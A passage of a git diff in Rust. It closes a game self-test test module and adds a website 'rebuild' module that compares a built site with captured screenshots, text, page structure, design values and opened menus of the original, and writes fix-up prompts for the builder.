"hud", "passed": true, "detail": "score 1"}]}"#; + let (ok, note) = verdict(all); + assert!(ok, "{note}"); + assert_eq!(note, "The self-test plays the core loop: move (moved 4 cells), act, hud (score 1)."); + + // A first slice: the level draws, but nobody plays in it. + let slice = br#"{"steps": [{"step": "move", "passed": false, "detail": "no player in the level"}, {"step": "hud", "passed": true}]}"#; + let (ok, note) = verdict(slice); + assert!(!ok); + assert!(note.contains("2 of 3 steps don't pass (move") && note.contains("move: the player moves, failed (no player in the level)"), "{note}"); + assert!(note.contains("act: the player's main action works, not tested") && !note.contains("hud:"), "{note}"); + + for bad in [&b"not json"[..], br#"{"version": 1}"#, br#"{"steps": [{"step": "move"}]}"#] { + let (ok, note) = verdict(bad); + assert!(!ok && note.contains("can't be read") && note.contains("--self-test "), "{note}"); + } + let (ok, note) = verdict(br#"{"version": 2, "steps": []}"#); + assert!(!ok && note.contains("version 2"), "{note}"); + } + + #[test] + fn each_step_of_the_self_test_is_a_claim() { + assert!(claims(all_steps()).iter().all(|c| c.passed) && claims(all_steps()).len() == 3); + let slice = br#"{"steps": [{"step": "move", "passed": false, "detail": "no player in the level"}, {"step": "hud", "passed": true}, {"step": "reload", "passed": false, "detail": "ammo stays at 0"}]}"#; + let got: Vec<(String, bool, String)> = claims(slice).into_iter().map(|c| (c.title, c.passed, c.detail)).collect(); + assert_eq!( + got, + [ + ("In play, the player moves".to_string(), false, "no player in the level".to_string()), + ("In play, the player's main action works".to_string(), false, "not tested".to_string()), + ("In play, the on-screen information is drawn".to_string(), true, String::new()), + ("Self-test step \"reload\"".to_string(), false, "ammo stays at 0".to_string()), + ], + "the core loop first (untested steps fail), then the game's own steps" + ); + assert!(claims(b"not json").is_empty()); + } + + fn all_steps() -> &'static [u8] { + br#"{"version": 1, "steps": [{"step": "move", "passed": true, "detail": "moved 4 cells"}, {"step": "Act", "passed": true}, {"step": "hud", "passed": true, "detail": "score 1"}]}"# + } +} diff --git a/desktop/crates/ai/src/rebuild/kinds/website.rs b/desktop/crates/ai/src/rebuild/kinds/website.rs new file mode 100644 index 0000000..b455c6b --- /dev/null +++ b/desktop/crates/ai/src/rebuild/kinds/website.rs @@ -0,0 +1,819 @@ +//! Websites: captured in a private browser, checked by serving the build and comparing +//! screenshots with the original's. + +use super::*; +use craft_anything_engine::workspace::{Claim, PageLikeness}; +use serde::{Deserialize, Serialize}; + +pub struct WebsiteKind; + +impl WebsiteKind { + pub const ID: &'static str = "website"; +} + +/// Other pages of the site studied and checked besides the one the person gave, at most (the +/// setting `build.max_pages` chooses how many up to this). +pub const MAX_ROUTES: usize = 12; +/// Where the other pages are listed in the capture folder. +pub const ROUTES_FILE: &str = "routes.json"; +/// Where the start page's opened menus, pop-ups and tabs are kept in the capture folder, at the +/// desktop width; [`phone_states_dir`] holds them at the phone width (a menu button often only +/// shows there). +pub const STATES_DIR: &str = "states"; + +/// The folder for the states opened at a phone `width`: `states-390`. +pub fn phone_states_dir(width: u32) -> String { + format!("{STATES_DIR}-{width}") +} + +/// The phone width among the widths compared (the narrowest under 768 px), if any. +pub fn phone_width(widths: &[u32]) -> Option { + widths.iter().copied().filter(|w| *w < 768).min() +} + +/// The folders of opened states in a capture folder (`states`, then `states-`). +pub fn state_dirs(capture: &Path) -> Vec { + let mut dirs: Vec = std::fs::read_dir(capture) + .into_iter() + .flatten() + .flatten() + .filter_map(|e| e.file_name().to_str().map(String::from)) + .filter(|n| n == STATES_DIR || n.strip_prefix("states-").is_some_and(|w| w.parse::().is_ok())) + .collect(); + dirs.sort(); + dirs +} + +/// The opened states the study pictured, as `states/state-.png (label, kind, width)` (none +/// when there were none). +pub fn pictured_states(ws: &Workspace) -> Vec { + let mut out = Vec::new(); + for dir in state_dirs(&ws.capture_dir()) { + let Some(v) = read_json(&ws.capture_dir().join(&dir).join("states.json")) else { continue }; + let width = v.get("width").and_then(Value::as_u64).map(|w| format!(", {w} px")).unwrap_or_default(); + out.extend(v.get("states").and_then(Value::as_array).into_iter().flatten().filter_map(|s| { + let file = s.get("file").and_then(Value::as_str)?; + let label = s.get("label").and_then(Value::as_str).filter(|l| !l.is_empty()).unwrap_or("a control"); + Some(format!("{dir}/{file} ({label}, {}{width})", s.get("kind").and_then(Value::as_str).unwrap_or("menu"))) + })); + } + out +} + +/// Another page of the site: its path, the folder name its capture uses, and its address. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct Route { + pub path: String, + pub slug: String, + pub url: String, +} + +/// Up to `max` other pages of the same site, from the links a capture found (`capture.json`'s +/// `links`): same scheme and host, a page rather than a file, each path once, not the start page. +pub fn pick_routes(capture: &Value, start: &str, max: usize) -> Vec { + let origin_and_path = |u: &str| -> Option<(String, String)> { + let (scheme, rest) = u.split_once("://")?; + if scheme != "http" && scheme != "https" { + return None; + } + let rest = rest.split(['#', '?']).next().unwrap_or_default(); + let (host, path) = rest.split_once('/').map(|(h, p)| (h, format!("/{p}"))).unwrap_or((rest, "/".into())); + Some((format!("{scheme}://{}", host.to_ascii_lowercase()), path)) + }; + let Some((origin, start_path)) = origin_and_path(start) else { return Vec::new() }; + let norm = |p: &str| p.trim_end_matches('/').to_string(); + let mut out: Vec = Vec::new(); + for link in capture.get("links").and_then(Value::as_array).into_iter().flatten() { + if out.len() >= max { + break; + } + let Some((o, path)) = link.get("href").and_then(Value::as_str).and_then(origin_and_path) else { continue }; + let last = path.rsplit('/').next().unwrap_or_default(); + let file = last.contains('.') && !last.ends_with(".html") && !last.ends_with(".htm"); + if o != origin || file || norm(&path) == norm(&start_path) || out.iter().any(|r| norm(&r.path) == norm(&path)) { + continue; + } + let slug: String = path.trim_matches('/').chars().map(|c| if c.is_ascii_alphanumeric() { c.to_ascii_lowercase() } else { '-' }).collect(); + let slug = slug.split('-').filter(|s| !s.is_empty()).collect::>().join("-"); + if slug.is_empty() || out.iter().any(|r| r.slug == slug) { + continue; + } + out.push(Route { url: format!("{origin}{path}"), path, slug }); + } + out +} + +/// The next level: up to `max` pages linked from already captured ones (`captures`, their +/// `capture.json`s) that aren't in `have` yet, same rules as [`pick_routes`]. +pub fn pick_deeper_routes(captures: &[Value], start: &str, have: &[Route], max: usize) -> Vec { + let norm = |p: &str| p.trim_end_matches('/').to_string(); + let mut out: Vec = Vec::new(); + for c in captures { + for r in pick_routes(c, start, MAX_ROUTES) { + if out.len() >= max { + return out; + } + let taken = |x: &Route| norm(&x.path) == norm(&r.path) || x.slug == r.slug; + if !have.iter().any(taken) && !out.iter().any(taken) { + out.push(r); + } + } + } + out +} + +/// The other pages captured for a project (none when only the start page was). +pub fn routes(ws: &Workspace) -> Vec { + std::fs::read(ws.capture_dir().join(ROUTES_FILE)).ok().and_then(|b| serde_json::from_slice(&b).ok()).unwrap_or_default() +} + +impl TargetKind for WebsiteKind { + fn id(&self) -> &'static str { + Self::ID + } + + fn words(&self) -> KindWords { + KindWords { + button: "Open the website", + icon: "external-link", + ready: "Your website is ready", + change_hint: "Ask for a change, e.g. \"make the header blue\" or \"add a contact form\"", + } + } + + fn detect(&self, cx: &DetectCx) -> Option { + if matches!(cx.target, TargetRef::Website { .. }) { + Some(100) + } else if cx.says(&[" website", " web page", " webpage", " landing page", " site ", "网站", "網站", "网页", "網頁"]) { + Some(50) + } else { + None + } + } + + /// A stack the request doesn't name is the builder's to choose, matching the original's. + fn default_stack(&self, _cx: &DetectCx) -> &'static str { + stacks::BUILDERS_CHOICE + } + + fn goal(&self) -> &'static str { + "a website that looks and behaves like the original" + } + + fn self_screenshots(&self) -> bool { + false + } + + fn brief_sections(&self, cx: &BriefCx) -> Vec { + let mut out = Vec::new(); + let routes = routes(cx.ws); + if !routes.is_empty() { + let list = routes.iter().map(|r| format!("{} (capture/routes/{}/)", r.path, r.slug)).collect::>().join(", "); + out.push(format!( + "The site has more pages, captured the same way: {list}. Rebuild each at the same path, with the same navigation between them; they're compared with the original too." + )); + } + let states = pictured_states(cx.ws); + if !states.is_empty() { + out.push(format!( + "Its menus, pop-ups and tabs were opened one at a time and photographed in capture/ (on a computer, and on a phone where its controls differ, such as a menu button): {}. Make them open and look the same way at each width.", + states.join(", ") + )); + } + out + } + + fn checks(&self, ws: &Workspace) -> Vec> { + // A site made from a request alone has nothing to compare with: it must build. + if matches!(ws.manifest.target, TargetRef::Website { .. }) { vec![Box::new(WebVisualCheck)] } else { vec![Box::new(BuildCheck)] } + } + + fn refine(&self, check: &CheckResult) -> String { + match check.similarity { + Some(s) => format!( + "Check {}: compared with the original, your build looks {s:.0}% alike ({}). Your screenshots are in checks/round-{}/ (screenshot-.png for each width, and routes// for other pages) with the layout measured at each width in its capture.json; the original's are in capture/. Open each pair with the Read tool, fix the biggest visible differences first (layout and section order, spacing, sizes, colours, fonts, missing parts), fix the padding, items per row, sizes, colours and fonts the check names at each width with the exact values it gives, add any missing headings or words it lists, build it again, and reply with 1-2 plain sentences on what you changed.", + check.round, check.note, check.round + ), + None => format!( + "Check {}: {}\n\nFix this in app/, build again until it succeeds, and reply with 1-2 plain sentences on what you changed.", + check.round, check.note + ), + } + } +} + +/// How alike two captures' visible text is (`capture.json`'s `text` and `headings`). +#[derive(Debug, Clone, PartialEq)] +pub struct TextLikeness { + /// Word overlap, 0..=100 (Dice over word counts). + pub similarity: f64, + /// The original's headings the build doesn't have, in page order (at most 8). + pub missing_headings: Vec, + /// The original's most frequent words the build never uses (at most 12). + pub missing_words: Vec, +} + +pub(crate) fn words(text: &str) -> std::collections::BTreeMap { + let mut m = std::collections::BTreeMap::new(); + for w in text.split(|c: char| !c.is_alphanumeric()).filter(|w| w.chars().count() >= 2) { + *m.entry(w.to_lowercase()).or_insert(0) += 1; + } + m +} + +/// Compare the visible text of the original's capture with the build's. None when the original +/// has no text to compare. +pub fn text_likeness(original: &Value, built: &Value) -> Option { + let text = |v: &Value| v.get("text").and_then(Value::as_str).unwrap_or_default().to_string(); + let (a, b) = (words(&text(original)), words(&text(built))); + let total_a: usize = a.values().sum(); + if total_a == 0 { + return None; + } + let total_b: usize = b.values().sum(); + let shared: usize = a.iter().map(|(w, n)| (*n).min(b.get(w).copied().unwrap_or(0))).sum(); + let similarity = 200.0 * shared as f64 / (total_a + total_b) as f64; + let norm = |s: &str| s.split_whitespace().collect::>().join(" ").to_lowercase(); + let built_headings: std::collections::BTreeSet = + built.get("headings").and_then(Value::as_array).into_iter().flatten().filter_map(|h| h.get("text").and_then(Value::as_str)).map(norm).collect(); + let missing_headings = original + .get("headings") + .and_then(Value::as_array) + .into_iter() + .flatten() + .filter_map(|h| h.get("text").and_then(Value::as_str)) + .filter(|h| !h.trim().is_empty() && !built_headings.contains(&norm(h))) + .take(8) + .map(|h| h.trim().to_string()) + .collect(); + let mut missing: Vec<(&String, &usize)> = a.iter().filter(|(w, _)| !b.contains_key(*w)).collect(); + missing.sort_by(|x, y| y.1.cmp(x.1).then_with(|| x.0.cmp(y.0))); + let missing_words = missing.into_iter().take(12).map(|(w, _)| w.clone()).collect(); + Some(TextLikeness { similarity, missing_headings, missing_words }) +} + +impl TextLikeness { + /// One line for the check's note, e.g. `text 72% alike; missing headings: "Pricing"; missing words: faq, plans`. + pub fn note(&self) -> String { + let mut s = format!("text {:.0}% alike", self.similarity); + if !self.missing_headings.is_empty() { + s.push_str(&format!("; missing headings: {}", self.missing_headings.iter().map(|h| format!("\"{h}\"")).collect::>().join(", "))); + } + if !self.missing_words.is_empty() { + s.push_str(&format!("; missing words: {}", self.missing_words.join(", "))); + } + s + } +} + +/// The parts of a page the structure is compared by, as (element, plain name). Elements with +/// the same name count as one part (`ul` and `ol` are both a list). +const PARTS: &[(&str, &str)] = &[ + ("header", "header"), + ("nav", "navigation bar"), + ("main", "main area"), + ("footer", "footer"), + ("section", "section"), + ("article", "article"), + ("aside", "sidebar"), + ("form", "form"), + ("h1", "top heading"), + ("h2", "subheading"), + ("h3", "subheading"), + ("h4", "subheading"), + ("ul", "list"), + ("ol", "list"), + ("img", "image"), + ("video", "video"), + ("button", "button"), + ("input", "form field"), + ("select", "form field"), + ("textarea", "form field"), +]; + +/// The page's parts in document order, from `capture.json`'s outline (a role counts as its element). +fn skeleton(capture: &Value) -> Vec<&'static str> { + capture + .get("outline") + .and_then(Value::as_array) + .into_iter() + .flatten() + .filter_map(|item| { + let tag = match item.get("role").and_then(Value::as_str) { + Some("banner") => "header", + Some("navigation") => "nav", + Some("main") => "main", + Some("contentinfo") => "footer", + Some("complementary") => "aside", + Some("form" | "search") => "form", + Some("button") => "button", + Some("img") => "img", + _ => item.get("tag").and_then(Value::as_str)?, + }; + PARTS.iter().find(|(t, _)| *t == tag).map(|(_, name)| *name) + }) + .collect() +} + +/// Length of the longest sequence both have in the same order. +fn common_len(a: &[&str], b: &[&str]) -> usize { + let mut row = vec![0usize; b.len() + 1]; + for x in a { + let mut diag = 0; + for (j, y) in b.iter().enumerate() { + let up = row[j + 1]; + row[j + 1] = if x == y { diag + 1 } else { up.max(row[j]) }; + diag = up; + } + } + row[b.len()] +} + +/// How alike two captures' page structure is: their landmarks, headings, lists, media and +/// controls, in order. +#[derive(Debug, Clone, PartialEq)] +pub struct StructureLikeness { + /// 0..=100: the parts both have in the same order, over all parts of both. + pub similarity: f64, + /// Parts the original has more of, as (plain name, how many more), most first (at most 6). + pub missing: Vec<(&'static str, usize)>, +} + +/// Compare the original's page structure with the build's. None when the original's outline has +/// none of the parts. +pub fn structure_likeness(original: &Value, built: &Value) -> Option { + let (a, b) = (skeleton(original), skeleton(built)); + if a.is_empty() { + return None; + } + let similarity = 200.0 * common_len(&a, &b) as f64 / (a.len() + b.len()) as f64; + let count = |s: &[&str], name: &str| s.iter().filter(|p| **p == name).count(); + let mut missing: Vec<(&'static str, usize)> = Vec::new(); + for (_, name) in PARTS { + if !missing.iter().any(|(n, _)| n == name) { + let more = count(&a, name).saturating_sub(count(&b, name)); + if more > 0 { + missing.push((name, more)); + } + } + } + missing.sort_by_key(|m| std::cmp::Reverse(m.1)); + missing.truncate(6); + Some(StructureLikeness { similarity, missing }) +} + +impl StructureLikeness { + /// One line for the check's note, e.g. `structure 80% alike; missing parts: 2 lists, a form`. + pub fn note(&self) -> String { + let mut s = format!("structure {:.0}% alike", self.similarity); + if !self.missing.is_empty() { + let parts = self.missing.iter().map(|(name, n)| if *n == 1 { format!("a {name}") } else { format!("{n} {name}s") }).collect::>(); + s.push_str(&format!("; missing parts: {}", parts.join(", "))); + } + s + } +} + +/// What the build gets wrong that the original doesn't, from both captures' `health` and `a11y`: +/// script and console errors, requests that fail (compared by path, since the build is served +/// from elsewhere), and controls without a name, pictures without alt text or a missing page +/// language. Problems the original has too aren't the build's to fix. +pub fn health_notes(original: &Value, built: &Value) -> Vec { + let mut out = Vec::new(); + let new_errors = new_errors(original, built); + if !new_errors.is_empty() { + let shown: Vec = new_errors.iter().take(3).map(|t| format!("\"{t}\"")).collect(); + out.push(format!("the build logs {} error(s) the original doesn't: {}", new_errors.len(), shown.join("; "))); + } + let failing = new_failures(original, built); + if !failing.is_empty() { + out.push(format!("{} request(s) fail in the build: {}", failing.len(), failing.iter().take(5).cloned().collect::>().join(", "))); + } + let n = |v: &Value, k: &str| v.pointer(&format!("/a11y/{k}")).and_then(Value::as_u64).unwrap_or(0); + if built.get("a11y").is_some() { + for (k, what) in [("unnamed_controls", "controls without a name"), ("images_without_alt", "pictures without alt text")] { + if n(built, k) > n(original, k) { + out.push(format!("{} {what} (the original has {})", n(built, k), n(original, k))); + } + } + let lang = |v: &Value| v.pointer("/a11y/lang").and_then(Value::as_str).unwrap_or_default().to_string(); + if lang(built).is_empty() && !lang(original).is_empty() { + out.push(format!("the page language isn't set (the original's is {})", lang(original))); + } + } + out +} + +fn health_list(v: &Value, p: &str) -> Vec { + v.pointer(p).and_then(Value::as_array).cloned().unwrap_or_default() +} + +/// The build's error texts the original doesn't log. +fn new_errors(original: &Value, built: &Value) -> Vec { + let text = |e: &Value| e.get("text").and_then(Value::as_str).unwrap_or_default().to_string(); + let theirs: Vec = health_list(original, "/health/errors").iter().map(text).collect(); + health_list(built, "/health/errors").iter().map(text).filter(|t| !t.is_empty() && !theirs.contains(t)).collect() +} + +/// The build's failing requests the original doesn't have, by path, as `/logo.png (404)`. +fn new_failures(original: &Value, built: &Value) -> Vec { + let path = |f: &Value| { + let url = f.get("url").and_then(Value::as_str).unwrap_or_default(); + let rest = url.split_once("://").map_or(url, |(_, r)| r); + rest.find('/').map_or("/".to_string(), |i| rest.get(i..).unwrap_or("/").to_string()) + }; + let theirs: Vec = health_list(original, "/health/failed_requests").iter().map(path).collect(); + health_list(built, "/health/failed_requests") + .iter() + .filter(|f| !theirs.contains(&path(f))) + .map(|f| { + let why = f + .get("status") + .and_then(Value::as_u64) + .map(|s| s.to_string()) + .or_else(|| f.get("error").and_then(Value::as_str).map(String::from)) + .unwrap_or_default(); + format!("{} ({why})", path(f)) + }) + .collect() +} + +/// What `page` of the build must do, each judged on its own from the two captures: not scroll +/// sideways at any width where the original doesn't, log no errors and fail no requests the +/// original doesn't, and have the original's landmarks. A claim is made only when both captures +/// hold what it needs (older captures make none). +pub fn page_claims(page: &str, original: &Value, built: &Value) -> Vec { + let mut out = Vec::new(); + let n = |v: &Value, k: &str| v.get(k).and_then(Value::as_u64).unwrap_or(0); + let built_layouts = built.get("layouts").and_then(Value::as_array).cloned().unwrap_or_default(); + for theirs in original.get("layouts").and_then(Value::as_array).into_iter().flatten() { + let w = n(theirs, "width"); + if n(theirs, "page_w") > w + 1 { + continue; + } + if let Some(ours) = built_layouts.iter().find(|l| n(l, "width") == w) { + let pw = n(ours, "page_w"); + out.push(Claim::new(format!("{page} doesn't scroll sideways at {w} px"), pw <= w + 1, format!("it's {pw} px wide"))); + } + } + if original.get("health").is_some() && built.get("health").is_some() { + let errors = new_errors(original, built); + out.push(Claim::new(format!("{page} logs no errors the original doesn't"), errors.is_empty(), errors.first().cloned().unwrap_or_default())); + let failing = new_failures(original, built); + out.push(Claim::new( + format!("{page} loads every file it asks for"), + failing.is_empty(), + failing.iter().take(5).cloned().collect::>().join(", "), + )); + } + let landmarks = + |v: &Value| -> Vec { v.pointer("/a11y/landmarks").and_then(Value::as_object).map(|m| m.keys().cloned().collect()).unwrap_or_default() }; + if built.get("a11y").is_some() && !landmarks(original).is_empty() { + let ours = landmarks(built); + let missing: Vec = landmarks(original).into_iter().filter(|l| !ours.contains(l)).collect(); + out.push(Claim::new(format!("{page} has the original's landmarks"), missing.is_empty(), format!("missing: {}", missing.join(", ")))); + } + out +} + +/// A `#rrggbb` or `#rrggbbaa` colour as (r, g, b, a). +fn rgba(c: &str) -> Option<[u8; 4]> { + let h = c.strip_prefix('#')?; + let byte = |i: usize| h.get(i..i + 2).and_then(|x| u8::from_str_radix(x, 16).ok()); + match h.len() { + 6 => Some([byte(0)?, byte(2)?, byte(4)?, 255]), + 8 => Some([byte(0)?, byte(2)?, byte(4)?, byte(6)?]), + _ => None, + } +} + +/// The same colour to the eye: each channel within 3 (rounding in the browser), or the same text. +fn same_colour(a: &str, b: &str) -> bool { + match (rgba(a), rgba(b)) { + (Some(x), Some(y)) => x.iter().zip(y).all(|(p, q)| p.abs_diff(q) <= 3), + _ => a.eq_ignore_ascii_case(b), + } +} + +/// The first family of a CSS font stack, as a person names it: `"__Figtree_a1b2c3", sans-serif` +/// (how next/font renames a font) reads `Figtree`. +fn family(stack: &str) -> String { + let first = stack.split(',').next().unwrap_or_default().trim().trim_matches(['"', '\'']); + first.trim_start_matches('_').split('_').next().unwrap_or(first).to_string() +} + +/// The values of a `design` list (`[{value, count}]`), most used first. +fn design_values<'a>(capture: &'a Value, key: &str) -> Vec<&'a str> { + capture.pointer(&format!("/design/{key}")).and_then(Value::as_array).into_iter().flatten().filter_map(|x| x.get("value").and_then(Value::as_str)).collect() +} + +/// What a person sees differ between the original's capture and the build's, for the builder: +/// colours, the main font, text sizes and spacing the build doesn't use, and at each width a +/// page that scrolls sideways, heading sizes, and sections whose padding, items per row or +/// content column differ (sections are paired by tag and heading, in order). Both are +/// `capture.json` documents; empty when nothing differs or there's nothing to compare. +pub fn design_notes(original: &Value, built: &Value) -> Vec { + let mut out = Vec::new(); + let mut colours = Vec::new(); + for (key, what) in [("backgrounds", "background"), ("text_colors", "text")] { + let ours = design_values(built, key); + colours.extend(design_values(original, key).into_iter().take(6).filter(|c| !ours.iter().any(|o| same_colour(c, o))).map(|c| format!("{c} ({what})"))); + } + if !colours.is_empty() { + out.push(format!("colours the original uses that the build doesn't: {}", colours.join(", "))); + } + if let (Some(a), Some(b)) = (design_values(original, "fonts").first(), design_values(built, "fonts").first()) + && !family(a).eq_ignore_ascii_case(&family(b)) + { + out.push(format!("main font: {} in the original, {} in the build", family(a), family(b))); + } + for (key, what) in [("font_sizes", "text sizes"), ("spacing", "spacing")] { + let ours = design_values(built, key); + let missing: Vec<&str> = design_values(original, key).into_iter().take(8).filter(|v| !ours.contains(v)).collect(); + if !missing.is_empty() { + out.push(format!("{what} the original uses that the build doesn't: {}", missing.join(", "))); + } + } + let n = |v: &Value, k: &str| v.get(k).and_then(Value::as_u64).unwrap_or(0); + let layouts = |v: &Value| v.get("layouts").and_then(Value::as_array).cloned().unwrap_or_default(); + let built_layouts = layouts(built); + for theirs in layouts(original) { + let w = n(&theirs, "width"); + let Some(ours) = built_layouts.iter().find(|l| n(l, "width") == w) else { continue }; + let mut diffs = Vec::new(); + if n(ours, "page_w") > w + 1 && n(&theirs, "page_w") <= w + 1 { + diffs.push(format!("the page scrolls sideways ({} px wide)", n(ours, "page_w"))); + } + for (k, name) in [("h1", "top heading"), ("h2", "subheadings"), ("body", "body text")] { + let size = |l: &Value| l.pointer(&format!("/type/{k}")).and_then(Value::as_u64).unwrap_or(0); + let (a, b) = (size(&theirs), size(ours)); + if a > 0 && b > 0 && a.abs_diff(b) > 2 { + diffs.push(format!("{name} {b} px, the original's {a} px")); + } + } + diffs.extend(block_diffs(&theirs, ours).into_iter().take(4)); + if !diffs.is_empty() { + out.push(format!("at {w} px: {}", diffs.join("; "))); + } + } + out +} + +/// The sections of one width whose padding, items per row or content column differ. Sections are +/// paired first by tag and heading in order (the n-th `section "Plans"` with the n-th), then, +/// because the builder writes its own words, the rest of each tag in page order (the original's +/// "Why people switch" with the build's "Why people like it"). Items per row is a grid's measure, +/// so it isn't compared for a `nav` or `header` (a row of links, checked by the pictures). +fn block_diffs(original: &Value, built: &Value) -> Vec { + let blocks = |v: &Value| v.get("blocks").and_then(Value::as_array).cloned().unwrap_or_default(); + let key = |b: &Value| { + let heading = b.get("heading").and_then(Value::as_str).unwrap_or_default().split_whitespace().collect::>().join(" ").to_lowercase(); + (b.get("tag").and_then(Value::as_str).unwrap_or_default().to_string(), heading) + }; + let nums = |b: &Value, k: &str| -> Vec { b.get(k).and_then(Value::as_array).into_iter().flatten().map(|x| x.as_u64().unwrap_or(0)).collect() }; + let n = |v: &Value, k: &str| v.get(k).and_then(Value::as_u64).unwrap_or(0); + let column = |b: &Value, k: &str| b.get("column").map(|c| n(c, k)); + let (theirs, ours) = (blocks(original), blocks(built)); + // The build's block paired with each of the original's, if any. + let mut partner: Vec> = vec![None; theirs.len()]; + let mut taken = vec![false; ours.len()]; + let mut pair = |same: &dyn Fn(&Value, &Value) -> bool, partner: &mut Vec>| { + for (i, a) in theirs.iter().enumerate() { + if partner[i].is_some() { + continue; + } + if let Some(j) = ours.iter().enumerate().position(|(j, b)| !taken[j] && same(a, b)) { + taken[j] = true; + partner[i] = Some(j); + } + } + }; + pair(&|a, b| key(a) == key(b), &mut partner); + pair(&|a, b| key(a).0 == key(b).0, &mut partner); + let mut out = Vec::new(); + for (i, a) in theirs.iter().enumerate() { + let k = key(a); + let Some(b) = partner[i].and_then(|j| ours.get(j)) else { continue }; + let mut what = Vec::new(); + let (pa, pb) = (nums(a, "pad"), nums(b, "pad")); + if pa.len() == pb.len() && pa.iter().zip(&pb).any(|(x, y)| x.abs_diff(*y) > 4) { + let show = |p: &[u64]| p.iter().map(u64::to_string).collect::>().join(" "); + what.push(format!("padding {} vs the original's {}", show(&pb), show(&pa))); + } + let grid = !matches!(k.0.as_str(), "nav" | "header"); + if grid && n(a, "per_row") != n(b, "per_row") { + what.push(format!("{} per row vs {}", n(b, "per_row"), n(a, "per_row"))); + } + if let (Some(x), Some(y)) = (column(a, "max_w"), column(b, "max_w")) + && x.abs_diff(y) > 8 + { + what.push(format!("content column {y} px vs {x} px")); + } else if column(a, "max_w").is_some() && column(b, "max_w").is_none() { + what.push(format!("no content column (the original's is {} px)", column(a, "max_w").unwrap_or(0))); + } + if !what.is_empty() { + let name = if k.1.is_empty() { + format!("the {}", k.0) + } else { + format!("the \"{}\" {}", a.get("heading").and_then(Value::as_str).unwrap_or_default(), k.0) + }; + out.push(format!("{name}: {}", what.join(", "))); + } + } + out +} + +/// Pair each state the study pictured with the build's: the same kind of control with the same +/// label, ignoring case and spacing. The build's half is None when it has no such control or +/// couldn't picture it. Both are `states.json` documents. +pub fn pair_states<'a>(original: &'a Value, built: &'a Value) -> Vec<(&'a Value, Option<&'a Value>)> { + let rows = |v: &'a Value| v.get("states").and_then(Value::as_array).into_iter().flatten().filter(|s| s.get("file").is_some()); + let key = |s: &Value| { + let label = s.get("label").and_then(Value::as_str).unwrap_or_default().split_whitespace().collect::>().join(" ").to_lowercase(); + (s.get("kind").and_then(Value::as_str).unwrap_or_default().to_string(), label) + }; + rows(original).map(|o| (o, rows(built).find(|b| key(b) == key(o)))).collect() +} + +/// Read a JSON file, or None. +fn read_json(path: &Path) -> Option { + std::fs::read(path).ok().and_then(|b| serde_json::from_slice(&b).ok()) +} + +/// A picture of the build against the original's, in percent: (likeness, layout, detail), then +/// the two heights in px. +type Likeness = (f64, f64, f64, u64, u64); + +/// Compare the build's picture with the original's. None when either picture is missing or they +/// couldn't be compared. +fn picture_likeness(cx: &CheckCx, original: &Path, built: &Path) -> Result, ToolError> { + if !(original.is_file() && built.is_file()) { + return Ok(None); + } + let mut params = + json!({"before": {"path": original.display().to_string()}, "after": {"path": built.display().to_string()}, "common_area": true, "tolerance": 24}); + // The parts of the original that change by themselves (Study's noise-.png) aren't compared. + let noise = + original.file_name().and_then(|n| n.to_str()).and_then(|n| n.strip_prefix("screenshot-")).map(|w| original.with_file_name(format!("noise-{w}"))); + if let Some(mask) = noise.filter(|m| m.is_file()) { + params["ignore"] = json!({"path": mask.display().to_string()}); + } + let r = cx.call("web_pixels_compare", params)?; + let v = r.to_json(); + let res = v.get("result").cloned().unwrap_or(Value::Null); + let Some(layout) = res.get("layout_similarity").and_then(Value::as_f64) else { return Ok(None) }; + // Layout alone is generous to mostly empty pages; detail (SSIM) sees text and edges. + let detail = res.get("perceptual_similarity").and_then(Value::as_f64).unwrap_or(layout); + let h = |k: &str| res.pointer(&format!("/sizes/{k}/height")).and_then(Value::as_u64).unwrap_or(0); + Ok(Some(((layout + detail) * 50.0, layout * 100.0, detail * 100.0, h("before"), h("after")))) +} + +/// Open the build's menus, pop-ups and tabs the way the study opened the original's in `dir` +/// (`states` or `states-`), at the same width, and compare each pair of pictures. None +/// when the study pictured none there. +fn states_note(cx: &CheckCx, base: &str, out: &Path, dir: &str, unknowns: &mut Vec, claims: &mut Vec) -> Result, ToolError> { + let theirs = cx.ws.capture_dir().join(dir); + let Some(original) = read_json(&theirs.join("states.json")) else { return Ok(None) }; + if pair_states(&original, &Value::Null).is_empty() { + return Ok(None); + } + let ours = out.join(dir); + cx.call("web_site_open", json!({"url": base, "settle_ms": 1200}))?; + // More than the study opened, so the same controls are found even when the build orders them differently. + let width = original.get("width").and_then(Value::as_u64).unwrap_or(1440); + if let Err(e) = cx.call("web_page_states_capture", json!({"output_directory": ours.display().to_string(), "max_states": 8, "width": width})) { + unknowns.push(format!("menus and pop-ups at {width} px couldn't be opened")); + return Ok(Some(format!("menus and pop-ups couldn't be opened: {}", e.message))); + } + let built = read_json(&ours.join("states.json")).unwrap_or(Value::Null); + let mut parts = Vec::new(); + for (o, b) in pair_states(&original, &built) { + let s = |v: &Value, k: &str| v.get(k).and_then(Value::as_str).unwrap_or_default().to_string(); + let name = match s(o, "label") { + l if l.is_empty() => format!("a {}", s(o, "kind")), + l => format!("the \"{l}\" {}", s(o, "kind")), + }; + let likeness = match b { + Some(b) => picture_likeness(cx, &theirs.join(s(o, "file")), &ours.join(s(b, "file")))?, + None => None, + }; + claims.push(Claim::new(format!("{name} opens in the build at {width} px"), b.is_some(), "no such control opens")); + parts.push(match (b, likeness) { + (_, Some((score, ..))) => format!("{name} {score:.0}% alike"), + (Some(_), None) => { + unknowns.push(format!("{name} at {width} px couldn't be compared")); + format!("{name} couldn't be compared") + } + (None, _) => format!("{name} doesn't open in the build"), + }); + } + Ok(Some(format!("opened menus and pop-ups at {width} px: {}", parts.join(", ")))) +} + +/// Serve the built site on loopback, capture it like the original, and compare screenshots at +/// each width. The likeness is the mean of layout (tile colours) and detail (SSIM of brightness). +/// The note adds the text, the page structure and the opened menus and pop-ups; they guide the +/// builder but don't change the score. +pub struct WebVisualCheck; + +impl Check for WebVisualCheck { + fn id(&self) -> &'static str { + CheckResult::WEB_VISUAL + } + + fn run(&self, cx: &mut CheckCx) -> Result { + let (ws, round) = (cx.ws, cx.round); + let widths = cx.build_settings().widths(); + let Some(site) = site_dir(&ws.app_dir()) else { + return Ok(CheckResult::new(self.id(), round, false, "No built site found in app/dist, app/out or app/build yet.")); + }; + let base = cx.serve_preview(&site)?; + let out = ws.checks_dir().join(format!("round-{round}")); + if out.exists() { + let _ = std::fs::remove_dir_all(&out); + } + std::fs::create_dir_all(ws.checks_dir()).map_err(|e| ToolError::io(ws.checks_dir().display(), e))?; + // The start page, then every other page studied: the same path on the 